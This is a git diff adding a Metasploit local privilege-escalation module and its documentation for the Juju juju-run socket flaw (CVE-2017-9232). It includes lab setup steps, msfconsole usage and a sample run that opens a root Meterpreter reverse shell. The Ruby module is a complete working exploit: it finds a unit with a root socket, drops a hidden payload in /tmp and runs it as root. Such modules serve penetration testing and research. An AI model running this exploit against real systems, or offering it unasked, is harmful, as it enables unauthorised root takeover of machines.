diff --git a/documentation/modules/exploit/linux/local/juju_run_agent_priv_esc.md b/documentation/modules/exploit/linux/local/juju_run_agent_priv_esc.md new file mode 100644 index 0000000000..df86054a92 --- /dev/null +++ b/documentation/modules/exploit/linux/local/juju_run_agent_priv_esc.md @@ -0,0 +1,138 @@ +## Description + + This module attempts to gain root privileges on Juju agent systems running the juju-run agent utility. + + Juju agent systems running agent tools prior to version 1.25.12, 2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket to manage software ("units") without setting appropriate permissions, allowing unprivileged local users to execute arbitrary commands as root. + + +## Vulnerable Application + + [Juju](https://juju.ubuntu.com/) is an open source application modeling tool designed for devops to deploy, configure, scale, and operate software on public and private clouds. + + * Homepage: https://juju.ubuntu.com/ + * Github: https://github.com/juju/juju + + This module has been tested successfully with Juju agent tools: + + * Versions 1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 + + Deployed by Juju: + + * Versions 1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64 + + +## Installation + + Two systems are required. The first runs Juju and the second runs the Juju agent tools. + + Ensure the client system has SSH installed and network accessible. + + The following installation instructions are for Ubuntu 14.04.1 LTS ("trusty"). + + ```sh + # List avilable juju packages + apt-cache showpkg juju + + # Install a vulnerable package + apt-get install juju-core=1.18.1-0ubuntu1 + + # Generate a config file + juju init + ``` + + Edit the `manual` section of the newly generated config file, adding the appropriate `bootstrap-host` and `bootstrap-user` for the client system, ensuring the appropriate `default-series` is set (`trusty` for Ububtu 14.x). + + ``` + manual: + bootstrap-host: juju-client.local # Remote host + bootstrap-user: user # User for SSH access + default-series: trusty # Remote host OS series + ``` + + Switch to the `manual` environment and bootstrap the remote host specified above: + + ```sh + juju switch manual + juju bootstrap + ``` + + Once the bootstrapping is complete, check if it was successful. You should see a machine with ID# 0: + + ```sh + juju stat + ``` + + Deploy any unit to the machine with ID# 0. Units can be found in the [Juju store](https://jujucharms.com/store). + + ```sh + juju deploy zabbix-agent --to 0 + ``` + + Check if it worked: + + ```sh + watch juju stat + ``` + + + Optionally, to test various versions of the juju agent utilities, the juju tools can be updated remotely. (Note: Downgrading is more difficult.) + + ```sh + # You may or may not need to `set-env` the upstream tools URL: + juju set-env agent-metadata-url=https://streams.canonical.com/juju/tools + juju set-env agent-stream=proposed + + # Be careful to select a version which exists, otherwise bad things will happen. + juju upgrade-juju --version 1.25.2 + ``` + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. Do: `use exploit/linux/local/juju_run_agent_priv_esc` + 4. Do: `set SESSION [SESSION]` + 5. Do: `check` + 6. Do: `run` + 7. You should get a new root session + + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions` + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + +## Scenarios + + ``` + msf exploit(multi/handler) > use exploit/linux/local/juju_run_agent_priv_esc + msf exploit(linux/local/juju_run_agent_priv_esc) > set session 1 + session => 1 + msf exploit(linux/local/juju_run_agent_priv_esc) > run + + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.16.191.244:4444 + [*] Trying 3 units... + [+] Unit "unit-zabbix-agent-1" uses a privileged socket + [*] Writing '/tmp/.tp9oGmPSvx' (207 bytes) ... + [*] Sending stage (857352 bytes) to 172.16.191.130 + [*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.130:43760) at 2018-01-13 12:33:48 -0500 + [+] Deleted /tmp/.tp9oGmPSvx + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.130 + OS : Ubuntu 14.04 (Linux 3.13.0-32-generic) + Architecture : i686 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + ``` + diff --git a/modules/exploits/linux/local/juju_run_agent_priv_esc.rb b/modules/exploits/linux/local/juju_run_agent_priv_esc.rb new file mode 100644 index 0000000000..baf61fb3c2 --- /dev/null +++ b/modules/exploits/linux/local/juju_run_agent_priv_esc.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Juju-run Agent Privilege Escalation', + 'Description' => %q{ + This module attempts to gain root privileges on Juju agent systems + running the juju-run agent utility. + + Juju agent systems running agent tools prior to version 1.25.12, + 2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket + to manage software ("units") without setting appropriate permissions, + allowing unprivileged local users to execute arbitrary commands as root. + + This module has been tested successfully with Juju agent tools versions + 1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju + 1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ryan Beisner', # Discovery and PoC + 'David Ames (@thedac)', # Discovery and PoC + 'Brendan Coles ' # Metasploit + ], + 'DisclosureDate' => 'Apr 13 2017', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'References' => + [ + [ 'CVE', '2017-9232' ], + [ 'BID', '98737' ], + [ 'URL', 'https://bugs.launchpad.net/juju/+bug/1682411' ] + ] + )) + register_options( + [ + OptString.new('UNIT', [ false, 'A valid Juju unit name', '' ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ]) + end + + def check + juju_run_path = cmd_exec 'which juju-run' + + if juju_run_path.start_with? '/' + vprint_good 'juju-run is installed' + return CheckCode::Detected + end + + vprint_error 'juju-run is NOT installed' + + CheckCode::Safe + end + + def unit_names + units = [] + + cmd_exec('/bin/ls -m /var/log/juju/*.log').chomp.split(/,\s*/).each do |log| + units << ::File.basename(log).gsub(/\.log$/, '') + end + + cmd_exec('/bin/ls -m /var/lib/juju/agents/').chomp.split(/,\s*/).each do |agent| + units << ::File.basename(agent) + end + + units.uniq + end + + def execute_command(cmd, opts = {}) + cmd_exec "juju-run #{opts['unit']} '#{cmd}'" + end + + def upload_and_chmodx(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + cmd_exec "chmod +x '#{path}'" + register_file_for_cleanup path + end + + def exploit + if check != CheckCode::Detected + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + units = datastore['UNIT'].blank? ? unit_names : [ datastore['UNIT'] ] + + if units.empty? + fail_with Failure::Unknown, "Could not find any Juju units. Try specifying a 'UNIT'" + end + + # Check each unit for a privileged socket + print_status "Trying #{units.size} units..." + + socket_unit = nil + unit_names.each do |unit| + id = execute_command 'id', 'unit' => unit + + if id.include? 'root' + print_good "Unit #{unit.inspect} uses a privileged socket" + socket_unit = unit + break + end + end + + if socket_unit.nil? + fail_with Failure::NotVulnerable, 'Could not find any Juju units using a privileged socket' + end + + # Upload payload executable + payload_name = ".#{rand_text_alphanumeric rand(5..10)}" + payload_path = "#{datastore['WritableDir']}/#{payload_name}" + upload_and_chmodx payload_path, generate_payload_exe + + # Execute payload executable + vprint_status 'Executing payload...' + execute_command payload_path, 'unit' => socket_unit + end +end